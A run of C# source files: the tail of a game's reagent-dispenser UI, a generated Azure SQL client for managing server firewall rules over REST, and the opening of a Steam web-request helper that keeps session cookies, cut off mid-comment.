case 1: DispenseButton1.Pressed = true; break; case 5: DispenseButton5.Pressed = true; break; case 10: DispenseButton10.Pressed = true; break; case 15: DispenseButton15.Pressed = true; break; case 20: DispenseButton20.Pressed = true; break; case 25: DispenseButton25.Pressed = true; break; case 30: DispenseButton30.Pressed = true; break; case 50: DispenseButton50.Pressed = true; break; case 100: DispenseButton100.Pressed = true; break; } } /// <summary> /// Update the fill state and list of reagents held by the current reagent container, if applicable. /// <para>Also highlights a reagent if it's dispense button is being mouse hovered.</para> /// </summary> /// <param name="state">State data for the dispenser.</param> /// <param name="highlightedReagentId">Prototype id of the reagent whose dispense button is currently being mouse hovered.</param> public void UpdateContainerInfo(ReagentDispenserBoundUserInterfaceState state, string highlightedReagentId = "") { ContainerInfo.Children.Clear(); if (!state.HasBeaker) { ContainerInfo.Children.Add(new Label {Text = Loc.GetString("reagent-dispenser-window-no-container-loaded-text") }); return; } ContainerInfo.Children.Add(new BoxContainer // Name of the container and its fill status (Ex: 44/100u) { Orientation = LayoutOrientation.Horizontal, Children = { new Label {Text = $"{state.ContainerName}: "}, new Label { Text = $"{state.BeakerCurrentVolume}/{state.BeakerMaxVolume}", StyleClasses = {StyleNano.StyleClassLabelSecondaryColor} } } }); if (state.ContainerReagents == null) { return; } foreach (var reagent in state.ContainerReagents) { var name = Loc.GetString("reagent-dispenser-window-unknown-reagent-text"); //Try to the prototype for the given reagent. This gives us it's name. if (_prototypeManager.TryIndex(reagent.ReagentId, out ReagentPrototype? proto)) { name = proto.Name; } //Check if the reagent is being moused over. If so, color it green. if (proto != null && proto.ID == highlightedReagentId) { ContainerInfo.Children.Add(new BoxContainer { Orientation = LayoutOrientation.Horizontal, Children = { new Label { Text = $"{name}: ", StyleClasses = {StyleNano.StyleClassPowerStateGood} }, new Label { Text = Loc.GetString("reagent-dispenser-window-quantity-label-text", ("quantity", reagent.Quantity)), StyleClasses = {StyleNano.StyleClassPowerStateGood} } } }); } else //Otherwise, color it the normal colors. { ContainerInfo.Children.Add(new BoxContainer { Orientation = LayoutOrientation.Horizontal, Children = { new Label {Text = $"{name}: "}, new Label { Text = Loc.GetString("reagent-dispenser-window-quantity-label-text", ("quantity", reagent.Quantity)), StyleClasses = {StyleNano.StyleClassLabelSecondaryColor} } } }); } } } } }
// // Copyright (c) Microsoft and contributors. All rights reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // limitations under the License. // // Warning: This code was generated by a tool. // // Changes to this file may cause incorrect behavior and will be lost if the // code is regenerated. using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Http; using System.Net.Http.Headers; using System.Text; using System.Threading; using System.Threading.Tasks; using System.Xml.Linq; using Hyak.Common; using Microsoft.Azure; using Microsoft.WindowsAzure.Management.Sql; using Microsoft.WindowsAzure.Management.Sql.Models; namespace Microsoft.WindowsAzure.Management.Sql { /// <summary> /// The Azure SQL Database Management API includes operations for managing /// the server-level Firewall Rules for Azure SQL Database Servers. You /// cannot manage the database-level firewall rules using the Azure SQL /// Database Management API; they can only be managed by running the /// Transact-SQL statements against the master or individual user /// databases. /// </summary> internal partial class FirewallRuleOperations : IServiceOperations<SqlManagementClient>, IFirewallRuleOperations { /// <summary> /// Initializes a new instance of the FirewallRuleOperations class. /// </summary> /// <param name='client'> /// Reference to the service client. /// </param> internal FirewallRuleOperations(SqlManagementClient client) { this._client = client; } private SqlManagementClient _client; /// <summary> /// Gets a reference to the /// Microsoft.WindowsAzure.Management.Sql.SqlManagementClient. /// </summary> public SqlManagementClient Client { get { return this._client; } } /// <summary> /// Adds a new server-level Firewall Rule for an Azure SQL Database /// Server. /// </summary> /// <param name='serverName'> /// Required. The name of the Azure SQL Database Server to which this /// rule will be applied. /// </param> /// <param name='parameters'> /// Required. The parameters for the Create Firewall Rule operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// Contains the response to a Create Firewall Rule operation. /// </returns> public async Task<FirewallRuleCreateResponse> CreateAsync(string serverName, FirewallRuleCreateParameters parameters, CancellationToken cancellationToken) { // Validate if (serverName == null) { throw new ArgumentNullException("serverName"); } if (parameters == null) { throw new ArgumentNullException("parameters"); } if (parameters.EndIPAddress == null) { throw new ArgumentNullException("parameters.EndIPAddress"); } if (parameters.Name == null) { throw new ArgumentNullException("parameters.Name"); } if (parameters.StartIPAddress == null) { throw new ArgumentNullException("parameters.StartIPAddress"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("serverName", serverName); tracingParameters.Add("parameters", parameters); TracingAdapter.Enter(invocationId, this, "CreateAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/services/sqlservers/servers/"; url = url + Uri.EscapeDataString(serverName); url = url + "/firewallrules"; string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Post; httpRequest.RequestUri = new Uri(url); // Set Headers httpRequest.Headers.Add("x-ms-version", "2012-03-01"); // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Serialize Request string requestContent = null; XDocument requestDoc = new XDocument(); XElement serviceResourceElement = new XElement(XName.Get("ServiceResource", "http://schemas.microsoft.com/windowsazure")); requestDoc.Add(serviceResourceElement); XElement nameElement = new XElement(XName.Get("Name", "http://schemas.microsoft.com/windowsazure")); nameElement.Value = parameters.Name; serviceResourceElement.Add(nameElement); XElement startIPAddressElement = new XElement(XName.Get("StartIPAddress", "http://schemas.microsoft.com/windowsazure")); startIPAddressElement.Value = parameters.StartIPAddress; serviceResourceElement.Add(startIPAddressElement); XElement endIPAddressElement = new XElement(XName.Get("EndIPAddress", "http://schemas.microsoft.com/windowsazure")); endIPAddressElement.Value = parameters.EndIPAddress; serviceResourceElement.Add(endIPAddressElement); requestContent = requestDoc.ToString(); httpRequest.Content = new StringContent(requestContent, Encoding.UTF8); httpRequest.Content.Headers.ContentType = MediaTypeHeaderValue.Parse("application/xml"); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.Created) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, requestContent, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result FirewallRuleCreateResponse result = null; // Deserialize Response if (statusCode == HttpStatusCode.Created) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new FirewallRuleCreateResponse(); XDocument responseDoc = XDocument.Parse(responseContent); XElement serviceResourceElement2 = responseDoc.Element(XName.Get("ServiceResource", "http://schemas.microsoft.com/windowsazure")); if (serviceResourceElement2 != null) { FirewallRule serviceResourceInstance = new FirewallRule(); result.FirewallRule = serviceResourceInstance; XElement startIPAddressElement2 = serviceResourceElement2.Element(XName.Get("StartIPAddress", "http://schemas.microsoft.com/windowsazure")); if (startIPAddressElement2 != null) { string startIPAddressInstance = startIPAddressElement2.Value; serviceResourceInstance.StartIPAddress = startIPAddressInstance; } XElement endIPAddressElement2 = serviceResourceElement2.Element(XName.Get("EndIPAddress", "http://schemas.microsoft.com/windowsazure")); if (endIPAddressElement2 != null) { string endIPAddressInstance = endIPAddressElement2.Value; serviceResourceInstance.EndIPAddress = endIPAddressInstance; } XElement nameElement2 = serviceResourceElement2.Element(XName.Get("Name", "http://schemas.microsoft.com/windowsazure")); if (nameElement2 != null) { string nameInstance = nameElement2.Value; serviceResourceInstance.Name = nameInstance; } XElement typeElement = serviceResourceElement2.Element(XName.Get("Type", "http://schemas.microsoft.com/windowsazure")); if (typeElement != null) { string typeInstance = typeElement.Value; serviceResourceInstance.Type = typeInstance; } XElement stateElement = serviceResourceElement2.Element(XName.Get("State", "http://schemas.microsoft.com/windowsazure")); if (stateElement != null) { string stateInstance = stateElement.Value; serviceResourceInstance.State = stateInstance; } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Deletes a server-level Firewall Rule from an Azure SQL Database /// Server. /// </summary> /// <param name='serverName'> /// Required. The name of the Azure SQL Database Server that will have /// the Firewall Fule removed from it. /// </param> /// <param name='ruleName'> /// Required. The name of the Firewall Fule to delete. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// A standard service response including an HTTP status code and /// request ID. /// </returns> public async Task<AzureOperationResponse> DeleteAsync(string serverName, string ruleName, CancellationToken cancellationToken) { // Validate if (serverName == null) { throw new ArgumentNullException("serverName"); } if (ruleName == null) { throw new ArgumentNullException("ruleName"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("serverName", serverName); tracingParameters.Add("ruleName", ruleName); TracingAdapter.Enter(invocationId, this, "DeleteAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/services/sqlservers/servers/"; url = url + Uri.EscapeDataString(serverName); url = url + "/firewallrules/"; url = url + Uri.EscapeDataString(ruleName); string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Delete; httpRequest.RequestUri = new Uri(url); // Set Headers httpRequest.Headers.Add("x-ms-version", "2012-03-01"); // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result AzureOperationResponse result = null; // Deserialize Response result = new AzureOperationResponse(); result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Returns the Firewall rule for an Azure SQL Database Server with a /// matching name. /// </summary> /// <param name='serverName'> /// Required. The name of the Azure SQL Database Server to query for /// the Firewall Rule. /// </param> /// <param name='ruleName'> /// Required. The name of the rule to retrieve. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// Contains the response from a request to Get Firewall Rule. /// </returns> public async Task<FirewallRuleGetResponse> GetAsync(string serverName, string ruleName, CancellationToken cancellationToken) { // Validate if (serverName == null) { throw new ArgumentNullException("serverName"); } if (ruleName == null) { throw new ArgumentNullException("ruleName"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("serverName", serverName); tracingParameters.Add("ruleName", ruleName); TracingAdapter.Enter(invocationId, this, "GetAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/services/sqlservers/servers/"; url = url + Uri.EscapeDataString(serverName); url = url + "/firewallrules/"; url = url + Uri.EscapeDataString(ruleName); string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Get; httpRequest.RequestUri = new Uri(url); // Set Headers httpRequest.Headers.Add("x-ms-version", "2012-03-01"); // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result FirewallRuleGetResponse result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new FirewallRuleGetResponse(); XDocument responseDoc = XDocument.Parse(responseContent); XElement serviceResourceElement = responseDoc.Element(XName.Get("ServiceResource", "http://schemas.microsoft.com/windowsazure")); if (serviceResourceElement != null) { FirewallRule serviceResourceInstance = new FirewallRule(); result.FirewallRule = serviceResourceInstance; XElement startIPAddressElement = serviceResourceElement.Element(XName.Get("StartIPAddress", "http://schemas.microsoft.com/windowsazure")); if (startIPAddressElement != null) { string startIPAddressInstance = startIPAddressElement.Value; serviceResourceInstance.StartIPAddress = startIPAddressInstance; } XElement endIPAddressElement = serviceResourceElement.Element(XName.Get("EndIPAddress", "http://schemas.microsoft.com/windowsazure")); if (endIPAddressElement != null) { string endIPAddressInstance = endIPAddressElement.Value; serviceResourceInstance.EndIPAddress = endIPAddressInstance; } XElement nameElement = serviceResourceElement.Element(XName.Get("Name", "http://schemas.microsoft.com/windowsazure")); if (nameElement != null) { string nameInstance = nameElement.Value; serviceResourceInstance.Name = nameInstance; } XElement typeElement = serviceResourceElement.Element(XName.Get("Type", "http://schemas.microsoft.com/windowsazure")); if (typeElement != null) { string typeInstance = typeElement.Value; serviceResourceInstance.Type = typeInstance; } XElement stateElement = serviceResourceElement.Element(XName.Get("State", "http://schemas.microsoft.com/windowsazure")); if (stateElement != null) { string stateInstance = stateElement.Value; serviceResourceInstance.State = stateInstance; } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Returns a list of server-level Firewall Rules for an Azure SQL /// Database Server. /// </summary> /// <param name='serverName'> /// Required. The name of the Azure SQL Database Server from which to /// list the Firewall Rules. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// Contains the response from a request to List Firewall Rules. /// </returns> public async Task<FirewallRuleListResponse> ListAsync(string serverName, CancellationToken cancellationToken) { // Validate if (serverName == null) { throw new ArgumentNullException("serverName"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("serverName", serverName); TracingAdapter.Enter(invocationId, this, "ListAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/services/sqlservers/servers/"; url = url + Uri.EscapeDataString(serverName); url = url + "/firewallrules"; string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Get; httpRequest.RequestUri = new Uri(url); // Set Headers httpRequest.Headers.Add("x-ms-version", "2012-03-01"); // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, null, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result FirewallRuleListResponse result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new FirewallRuleListResponse(); XDocument responseDoc = XDocument.Parse(responseContent); XElement serviceResourcesSequenceElement = responseDoc.Element(XName.Get("ServiceResources", "http://schemas.microsoft.com/windowsazure")); if (serviceResourcesSequenceElement != null) { foreach (XElement serviceResourcesElement in serviceResourcesSequenceElement.Elements(XName.Get("ServiceResource", "http://schemas.microsoft.com/windowsazure"))) { FirewallRule serviceResourceInstance = new FirewallRule(); result.FirewallRules.Add(serviceResourceInstance); XElement startIPAddressElement = serviceResourcesElement.Element(XName.Get("StartIPAddress", "http://schemas.microsoft.com/windowsazure")); if (startIPAddressElement != null) { string startIPAddressInstance = startIPAddressElement.Value; serviceResourceInstance.StartIPAddress = startIPAddressInstance; } XElement endIPAddressElement = serviceResourcesElement.Element(XName.Get("EndIPAddress", "http://schemas.microsoft.com/windowsazure")); if (endIPAddressElement != null) { string endIPAddressInstance = endIPAddressElement.Value; serviceResourceInstance.EndIPAddress = endIPAddressInstance; } XElement nameElement = serviceResourcesElement.Element(XName.Get("Name", "http://schemas.microsoft.com/windowsazure")); if (nameElement != null) { string nameInstance = nameElement.Value; serviceResourceInstance.Name = nameInstance; } XElement typeElement = serviceResourcesElement.Element(XName.Get("Type", "http://schemas.microsoft.com/windowsazure")); if (typeElement != null) { string typeInstance = typeElement.Value; serviceResourceInstance.Type = typeInstance; } XElement stateElement = serviceResourcesElement.Element(XName.Get("State", "http://schemas.microsoft.com/windowsazure")); if (stateElement != null) { string stateInstance = stateElement.Value; serviceResourceInstance.State = stateInstance; } } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } /// <summary> /// Updates an existing server-level Firewall Rule for an Azure SQL /// Database Server. /// </summary> /// <param name='serverName'> /// Required. The name of the Azure SQL Database Server that has the /// Firewall Rule to be updated. /// </param> /// <param name='ruleName'> /// Required. The name of the Firewall Rule to be updated. /// </param> /// <param name='parameters'> /// Required. The parameters for the Update Firewall Rule operation. /// </param> /// <param name='cancellationToken'> /// Cancellation token. /// </param> /// <returns> /// Represents the firewall rule update response. /// </returns> public async Task<FirewallRuleUpdateResponse> UpdateAsync(string serverName, string ruleName, FirewallRuleUpdateParameters parameters, CancellationToken cancellationToken) { // Validate if (serverName == null) { throw new ArgumentNullException("serverName"); } if (ruleName == null) { throw new ArgumentNullException("ruleName"); } if (parameters == null) { throw new ArgumentNullException("parameters"); } if (parameters.EndIPAddress == null) { throw new ArgumentNullException("parameters.EndIPAddress"); } if (parameters.Name == null) { throw new ArgumentNullException("parameters.Name"); } if (parameters.StartIPAddress == null) { throw new ArgumentNullException("parameters.StartIPAddress"); } // Tracing bool shouldTrace = TracingAdapter.IsEnabled; string invocationId = null; if (shouldTrace) { invocationId = TracingAdapter.NextInvocationId.ToString(); Dictionary<string, object> tracingParameters = new Dictionary<string, object>(); tracingParameters.Add("serverName", serverName); tracingParameters.Add("ruleName", ruleName); tracingParameters.Add("parameters", parameters); TracingAdapter.Enter(invocationId, this, "UpdateAsync", tracingParameters); } // Construct URL string url = ""; url = url + "/"; if (this.Client.Credentials.SubscriptionId != null) { url = url + Uri.EscapeDataString(this.Client.Credentials.SubscriptionId); } url = url + "/services/sqlservers/servers/"; url = url + Uri.EscapeDataString(serverName); url = url + "/firewallrules/"; url = url + Uri.EscapeDataString(ruleName); string baseUrl = this.Client.BaseUri.AbsoluteUri; // Trim '/' character from the end of baseUrl and beginning of url. if (baseUrl[baseUrl.Length - 1] == '/') { baseUrl = baseUrl.Substring(0, baseUrl.Length - 1); } if (url[0] == '/') { url = url.Substring(1); } url = baseUrl + "/" + url; url = url.Replace(" ", "%20"); // Create HTTP transport objects HttpRequestMessage httpRequest = null; try { httpRequest = new HttpRequestMessage(); httpRequest.Method = HttpMethod.Put; httpRequest.RequestUri = new Uri(url); // Set Headers httpRequest.Headers.Add("x-ms-version", "2012-03-01"); // Set Credentials cancellationToken.ThrowIfCancellationRequested(); await this.Client.Credentials.ProcessHttpRequestAsync(httpRequest, cancellationToken).ConfigureAwait(false); // Serialize Request string requestContent = null; XDocument requestDoc = new XDocument(); XElement serviceResourceElement = new XElement(XName.Get("ServiceResource", "http://schemas.microsoft.com/windowsazure")); requestDoc.Add(serviceResourceElement); XElement nameElement = new XElement(XName.Get("Name", "http://schemas.microsoft.com/windowsazure")); nameElement.Value = parameters.Name; serviceResourceElement.Add(nameElement); XElement startIPAddressElement = new XElement(XName.Get("StartIPAddress", "http://schemas.microsoft.com/windowsazure")); startIPAddressElement.Value = parameters.StartIPAddress; serviceResourceElement.Add(startIPAddressElement); XElement endIPAddressElement = new XElement(XName.Get("EndIPAddress", "http://schemas.microsoft.com/windowsazure")); endIPAddressElement.Value = parameters.EndIPAddress; serviceResourceElement.Add(endIPAddressElement); requestContent = requestDoc.ToString(); httpRequest.Content = new StringContent(requestContent, Encoding.UTF8); httpRequest.Content.Headers.ContentType = MediaTypeHeaderValue.Parse("application/xml"); // Send Request HttpResponseMessage httpResponse = null; try { if (shouldTrace) { TracingAdapter.SendRequest(invocationId, httpRequest); } cancellationToken.ThrowIfCancellationRequested(); httpResponse = await this.Client.HttpClient.SendAsync(httpRequest, cancellationToken).ConfigureAwait(false); if (shouldTrace) { TracingAdapter.ReceiveResponse(invocationId, httpResponse); } HttpStatusCode statusCode = httpResponse.StatusCode; if (statusCode != HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); CloudException ex = CloudException.Create(httpRequest, requestContent, httpResponse, await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false)); if (shouldTrace) { TracingAdapter.Error(invocationId, ex); } throw ex; } // Create Result FirewallRuleUpdateResponse result = null; // Deserialize Response if (statusCode == HttpStatusCode.OK) { cancellationToken.ThrowIfCancellationRequested(); string responseContent = await httpResponse.Content.ReadAsStringAsync().ConfigureAwait(false); result = new FirewallRuleUpdateResponse(); XDocument responseDoc = XDocument.Parse(responseContent); XElement serviceResourceElement2 = responseDoc.Element(XName.Get("ServiceResource", "http://schemas.microsoft.com/windowsazure")); if (serviceResourceElement2 != null) { FirewallRule serviceResourceInstance = new FirewallRule(); result.FirewallRule = serviceResourceInstance; XElement startIPAddressElement2 = serviceResourceElement2.Element(XName.Get("StartIPAddress", "http://schemas.microsoft.com/windowsazure")); if (startIPAddressElement2 != null) { string startIPAddressInstance = startIPAddressElement2.Value; serviceResourceInstance.StartIPAddress = startIPAddressInstance; } XElement endIPAddressElement2 = serviceResourceElement2.Element(XName.Get("EndIPAddress", "http://schemas.microsoft.com/windowsazure")); if (endIPAddressElement2 != null) { string endIPAddressInstance = endIPAddressElement2.Value; serviceResourceInstance.EndIPAddress = endIPAddressInstance; } XElement nameElement2 = serviceResourceElement2.Element(XName.Get("Name", "http://schemas.microsoft.com/windowsazure")); if (nameElement2 != null) { string nameInstance = nameElement2.Value; serviceResourceInstance.Name = nameInstance; } XElement typeElement = serviceResourceElement2.Element(XName.Get("Type", "http://schemas.microsoft.com/windowsazure")); if (typeElement != null) { string typeInstance = typeElement.Value; serviceResourceInstance.Type = typeInstance; } XElement stateElement = serviceResourceElement2.Element(XName.Get("State", "http://schemas.microsoft.com/windowsazure")); if (stateElement != null) { string stateInstance = stateElement.Value; serviceResourceInstance.State = stateInstance; } } } result.StatusCode = statusCode; if (httpResponse.Headers.Contains("x-ms-request-id")) { result.RequestId = httpResponse.Headers.GetValues("x-ms-request-id").FirstOrDefault(); } if (shouldTrace) { TracingAdapter.Exit(invocationId, result); } return result; } finally { if (httpResponse != null) { httpResponse.Dispose(); } } } finally { if (httpRequest != null) { httpRequest.Dispose(); } } } } }
using System; using System.IO; using System.Collections.Specialized; using System.Diagnostics.CodeAnalysis; using System.Net; using System.Net.Cache; using System.Text; using System.Web; using System.Security.Cryptography; using Newtonsoft.Json; using System.Security.Cryptography.X509Certificates; using System.Net.Security; using SteamKit2; namespace SteamTrade { /// <summary> /// SteamWeb class to create an API endpoint to the Steam Web. /// </summary> public class SteamWeb { /// <summary> /// Base steam community domain. /// </summary> public const string SteamCommunityDomain = "steamcommunity.com"; /// <summary> /// Token of steam. Generated after login. /// </summary> public string Token { get; private set; } /// <summary> /// Session id of Steam after Login. /// </summary> public string SessionId { get; private set; } /// <summary> /// Token secure as string. It is generated after the Login. /// </summary> public string TokenSecure { get; private set; } /// <summary> /// CookieContainer to save all cookies during the Login. /// </summary> private CookieContainer _cookies = new CookieContainer(); /// <summary> /// This method is using the Request method to return the full http stream from a web request as string. /// </summary> /// <param name="url">URL of the http request.</param> /// <param name="method">Gets the HTTP data transfer method (such as GET, POST, or HEAD) used by the client.</param> /// <param name="data">A NameValueCollection including Headers added to the request.</param> /// <param name="ajax">A bool to define if the http request is an ajax request.</param> /// <param name="referer">Gets information about the URL of the client's previous request that linked to the current URL.</param> /// <param name="fetchError">If true, response codes other than HTTP 200 will still be returned, rather than throwing exceptions</param> /// <returns>The string of the http return stream.</returns> /// <remarks>If you want to know how the request method works, use: <see cref="SteamWeb.Request"/></remarks> public string Fetch(string url, string method, NameValueCollection data = null, bool ajax = true, string referer = "", bool fetchError = false) { // Reading the response as stream and read it to the end. After that happened return the result as string. using (HttpWebResponse response = Request(url, method, data, ajax, referer, fetchError)) { using (Stream responseStream = response.GetResponseStream()) { // If the response stream is null it cannot be read. So return an empty string. if (responseStream == null) { return ""; } using (StreamReader reader = new StreamReader(responseStream)) { return reader.ReadToEnd(); } } } } /// <summary> /// Custom wrapper for creating a HttpWebRequest, edited for Steam. /// </summary> /// <param name="url">Gets information about the URL of the current request.</param> /// <param name="method">Gets the HTTP data transfer method (such as GET, POST, or HEAD) used by the client.</param> /// <param name="data">A NameValueCollection including Headers added to the request.</param> /// <param name="ajax">A bool to define if the http request is an ajax request.</param> /// 